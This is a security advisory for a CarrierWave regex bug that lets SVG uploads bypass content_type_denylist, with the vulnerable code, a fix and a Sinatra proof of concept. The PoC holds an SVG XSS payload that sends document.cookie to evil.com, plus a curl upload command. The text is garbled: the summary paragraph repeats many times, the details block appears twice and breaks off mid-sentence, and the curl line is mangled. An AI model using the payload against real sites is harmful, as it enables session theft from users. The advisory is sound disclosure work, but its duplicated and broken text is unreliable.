CVE-2026-44587

CarrierWave is a framework to upload files from Ruby applications. In versions prior to 2.2.7 and 3.1.3, the content_type_denylist check fails to escape regex metacharacters in string entries, causing the denylist to silently not match the content types it is intended to block. In lib/carrierwave/uploader/content_type_denylist.rb:57, denylist entries are interpolated directly into a regex without Regexp.quote or anchoring, so an entry such as image/svg+xml becomes the pattern /image/svg+xml/, in which + is treated as a quantifier rather than a literal character and therefore never matches the real MIME type image/svg+xml. This is inconsistent with the allowlist implementation, which correctly applies both Regexp.quote and a \A anchor. Other content types containing regex metacharacters, such as application/xhtml+xml, are affected as well. As a result, any application that relies on content_type_denylist to block image/svg+xml, most commonly to prevent stored XSS, is silently unprotected. An attacker can upload an SVG file containing arbitrary JavaScript; if the application serves that SVG inline from its own origin, the script executes in the victim's browser, resulting in stored XSS. This issue has been fixed in versions 2.2.7 and 3.1.3.

CarrierWave is a framework to upload files from Ruby applications. In versions prior to 2.2.7 and 3.1.3, the content_type_denylist check fails to escape regex metacharacters in string entries, causing the denylist to silently not match the content types it is intended to block. In lib/carrierwave/uploader/content_type_denylist.rb:57, denylist entries are interpolated directly into a regex without Regexp.quote or anchoring, so an entry such as image/svg+xml becomes the pattern /image/svg+xml/, in which + is treated as a quantifier rather than a literal character and therefore never matches the real MIME type image/svg+xml. This is inconsistent with the allowlist implementation, which correctly applies both Regexp.quote and a \A anchor. Other content types containing regex metacharacters, such as application/xhtml+xml, are affected as well. As a result, any application that relies on content_type_denylist to block image/svg+xml, most commonly to prevent stored XSS, is silently unprotected. An attacker can upload an SVG file containing arbitrary JavaScript; if the application serves that SVG inline from its own origin, the script executes in the victim's browser, resulting in stored XSS. This issue has been fixed in versions 2.2.7 and 3.1.3.

Summary

CarrierWave's content_type_denylist check fails to escape regex metacharacters in string entries, causing the denylist to silently not match the content types it is intended to block.

Note: CarrierWave is aware #content_type_denylist is deprecated for the security reason, but it still used by developers, and the problem here isn't denylist allows any filetype, and thats not a vulnerability in carrierwave, its an implementation problem in developers using CarrierWave, the problem is its denylist entries are interpolated directly into a regex without Regexp.quote or anchoring. The denylist is still useful when developers want to ban specific content types but allow everything else.

Details

In lib/carrierwave/uploader/content_type_denylist.rb:57, string denylist entries are interpolated directly into a regex without Regexp.quote or anchoring:

def denylisted_content_type?(denylist, content_type)
  Array(denylist).any? { |item| content_type =~ /#{item}/ }
end
The entry "image/svg+xml" becomes the regex /image\/svg+xml/ where + is a quantifier meaning "one or more g", not a literal +. This regex never matches the real MIME type "image/svg+xml" which contains a literal +.
This is inconsistent with the allowlist implementation at lib/carrierwave/uploader/content_type_allowlist.rb:53-57, which correctly applies both Regexp.quote and a \A anchor:
rubydef allowlisted_content_type?(allowlist, content_type)
  Array(allowlist).any? do |item|
    item = Regexp.quote(item) if item.class != Regexp
    content_type =~ /\A#{item}/
  end
end

Other affected MIME types include application/xhtml+xml and any type containing regex metacharacters.

Fix: Apply Regexp.quote for string entries and anchor with \A, matching the existing allowlist implementation:

rubydef denylisted_content_type?(denylist, content_type)
  Array(denylist).any? do |item|
    item = Regexp.quote(item) if item.class != Regexp
    content_type =~ /\A#{item}/
  end
end

PoC

 app.rb
require "sinatra"
require "carrierwave"
require "fileutils"

FileUtils.mkdir_p("uploads/files")

CarrierWave.configure do |config|
  config.root      = File.expand_path("uploads")
  config.store_dir = "files"
end

class VaultUploader < CarrierWave::Uploader::Base
  storage :file
  def store_dir = "files"
  def content_type_denylist = %w[image/svg+xml]
end

post "/upload" do
  content_type :json
  san = CarrierWave::SanitizedFile.new(
    tempfile:     params[:file][:tempfile],
    filename:     params[:file][:filename],
    content_type: params[:file][:type]
  )
  uploader = VaultUploader.new
  begin
    uploader.store!(san)
    { result: "VULNERABLE", message: "SVG bypassed denylist", path: uploader.path }.to_json
  rescue CarrierWave::IntegrityError => e
    { result: "blocked", message: e.message }.to_json
  end
end

bundle exec ruby app.rb &

echo '<svg xmlns="http://www.w3.org/2000/svg"><script>document.location="https://evil.com/?c="+document.cookie</script></svg>' > xss.svg

curl -X POST http://localhost:4567/upload \
  -F "[email protected];type=image/svg+xml"

Expected response (denylist working):

json{ "result": "blocked", "message": "..." }

Actual response:

json{ "result": "VULNERABLE", "message": "SVG bypassed denylist", "path": "..." }

Impact

Any application that uses content_type_denylist to block image/svg+xml — the most common use case, specifically to prevent stored XSS — is silently unprotected. An attacker can upload an SVG file containing arbitrary

CarrierWave is a framework to upload files from Ruby applications. In versions prior to 2.2.7 and 3.1.3, the content_type_denylist check fails to escape regex metacharacters in string entries, causing the denylist to silently not match the content types it is intended to block. In lib/carrierwave/uploader/content_type_denylist.rb:57, denylist entries are interpolated directly into a regex without Regexp.quote or anchoring, so an entry such as image/svg+xml becomes the pattern /image/svg+xml/, in which + is treated as a quantifier rather than a literal character and therefore never matches the real MIME type image/svg+xml. This is inconsistent with the allowlist implementation, which correctly applies both Regexp.quote and a \A anchor. Other content types containing regex metacharacters, such as application/xhtml+xml, are affected as well. As a result, any application that relies on content_type_denylist to block image/svg+xml, most commonly to prevent stored XSS, is silently unprotected. An attacker can upload an SVG file containing arbitrary JavaScript; if the application serves that SVG inline from its own origin, the script executes in the victim's browser, resulting in stored XSS. This issue has been fixed in versions 2.2.7 and 3.1.3.

CarrierWave is a framework to upload files from Ruby applications. In versions prior to 2.2.7 and 3.1.3, the content_type_denylist check fails to escape regex metacharacters in string entries, causing the denylist to silently not match the content types it is intended to block. In lib/carrierwave/uploader/content_type_denylist.rb:57, denylist entries are interpolated directly into a regex without Regexp.quote or anchoring, so an entry such as image/svg+xml becomes the pattern /image/svg+xml/, in which + is treated as a quantifier rather than a literal character and therefore never matches the real MIME type image/svg+xml. This is inconsistent with the allowlist implementation, which correctly applies both Regexp.quote and a \A anchor. Other content types containing regex metacharacters, such as application/xhtml+xml, are affected as well. As a result, any application that relies on content_type_denylist to block image/svg+xml, most commonly to prevent stored XSS, is silently unprotected. An attacker can upload an SVG file containing arbitrary JavaScript; if the application serves that SVG inline from its own origin, the script executes in the victim's browser, resulting in stored XSS. This issue has been fixed in versions 2.2.7 and 3.1.3.

CarrierWave is a framework to upload files from Ruby applications. In versions prior to 2.2.7 and 3.1.3, the content_type_denylist check fails to escape regex metacharacters in string entries, causing the denylist to silently not match the content types it is intended to block. In lib/carrierwave/uploader/content_type_denylist.rb:57, denylist entries are interpolated directly into a regex without Regexp.quote or anchoring, so an entry such as image/svg+xml becomes the pattern /image/svg+xml/, in which + is treated as a quantifier rather than a literal character and therefore never matches the real MIME type image/svg+xml. This is inconsistent with the allowlist implementation, which correctly applies both Regexp.quote and a \A anchor. Other content types containing regex metacharacters, such as application/xhtml+xml, are affected as well. As a result, any application that relies on content_type_denylist to block image/svg+xml, most commonly to prevent stored XSS, is silently unprotected. An attacker can upload an SVG file containing arbitrary JavaScript; if the application serves that SVG inline from its own origin, the script executes in the victim's browser, resulting in stored XSS. This issue has been fixed in versions 2.2.7 and 3.1.3.

Summary

CarrierWave's content_type_denylist check fails to escape regex metacharacters in string entries, causing the denylist to silently not match the content types it is intended to block.

Note: CarrierWave is aware #content_type_denylist is deprecated for the security reason, but it still used by developers, and the problem here isn't denylist allows any filetype, and thats not a vulnerability in carrierwave, its an implementation problem in developers using CarrierWave, the problem is its denylist entries are interpolated directly into a regex without Regexp.quote or anchoring. The denylist is still useful when developers want to ban specific content types but allow everything else.

Details

In lib/carrierwave/uploader/content_type_denylist.rb:57, string denylist entries are interpolated directly into a regex without Regexp.quote or anchoring:

def denylisted_content_type?(denylist, content_type)
  Array(denylist).any? { |item| content_type =~ /#{item}/ }
end
The entry "image/svg+xml" becomes the regex /image\/svg+xml/ where + is a quantifier meaning "one or more g", not a literal +. This regex never matches the real MIME type "image/svg+xml" which contains a literal +.
This is inconsistent with the allowlist implementation at lib/carrierwave/uploader/content_type_allowlist.rb:53-57, which correctly applies both Regexp.quote and a \A anchor:
rubydef allowlisted_content_type?(allowlist, content_type)
  Array(allowlist).any? do |item|
    item = Regexp.quote(item) if item.class != Regexp
    content_type =~ /\A#{item}/
  end
end

Other affected MIME types include application/xhtml+xml and any type containing regex metacharacters.

Fix: Apply Regexp.quote for string entries and anchor with \A, matching the existing allowlist implementation:

rubydef denylisted_content_type?(denylist, content_type)
  Array(denylist).any? do |item|
    item = Regexp.quote(item) if item.class != Regexp
    content_type =~ /\A#{item}/
  end
end

PoC

 app.rb
require "sinatra"
require "carrierwave"
require "fileutils"

FileUtils.mkdir_p("uploads/files")

CarrierWave.configure do |config|
  config.root      = File.expand_path("uploads")
  config.store_dir = "files"
end

class VaultUploader < CarrierWave::Uploader::Base
  storage :file
  def store_dir = "files"
  def content_type_denylist = %w[image/svg+xml]
end

post "/upload" do
  content_type :json
  san = CarrierWave::SanitizedFile.new(
    tempfile:     params[:file][:tempfile],
    filename:     params[:file][:filename],
    content_type: params[:file][:type]
  )
  uploader = VaultUploader.new
  begin
    uploader.store!(san)
    { result: "VULNERABLE", message: "SVG bypassed denylist", path: uploader.path }.to_json
  rescue CarrierWave::IntegrityError => e
    { result: "blocked", message: e.message }.to_json
  end
end

bundle exec ruby app.rb &

echo '<svg xmlns="http://www.w3.org/2000/svg"><script>document.location="https://evil.com/?c="+document.cookie</script></svg>' > xss.svg

curl -X POST http://localhost:4567/upload \
  -F "[email protected];type=image/svg+xml"

Expected response (denylist working):

json{ "result": "blocked", "message": "..." }

Actual response:

json{ "result": "VULNERABLE", "message": "SVG bypassed denylist", "path": "..." }

Impact

Any application that uses content_type_denylist to block image/svg+xml — the most common use case, specifically to prevent stored XSS — is silently unprotected. An attacker can upload an SVG file containing arbitrary

CarrierWave is a framework to upload files from Ruby applications. In versions prior to 2.2.7 and 3.1.3, the content_type_denylist check fails to escape regex metacharacters in string entries, causing the denylist to silently not match the content types it is intended to block. In lib/carrierwave/uploader/content_type_denylist.rb:57, denylist entries are interpolated directly into a regex without Regexp.quote or anchoring, so an entry such as image/svg+xml becomes the pattern /image/svg+xml/, in which + is treated as a quantifier rather than a literal character and therefore never matches the real MIME type image/svg+xml. This is inconsistent with the allowlist implementation, which correctly applies both Regexp.quote and a \A anchor. Other content types containing regex metacharacters, such as application/xhtml+xml, are affected as well. As a result, any application that relies on content_type_denylist to block image/svg+xml, most commonly to prevent stored XSS, is silently unprotected. An attacker can upload an SVG file containing arbitrary JavaScript; if the application serves that SVG inline from its own origin, the script executes in the victim's browser, resulting in stored XSS. This issue has been fixed in versions 2.2.7 and 3.1.3.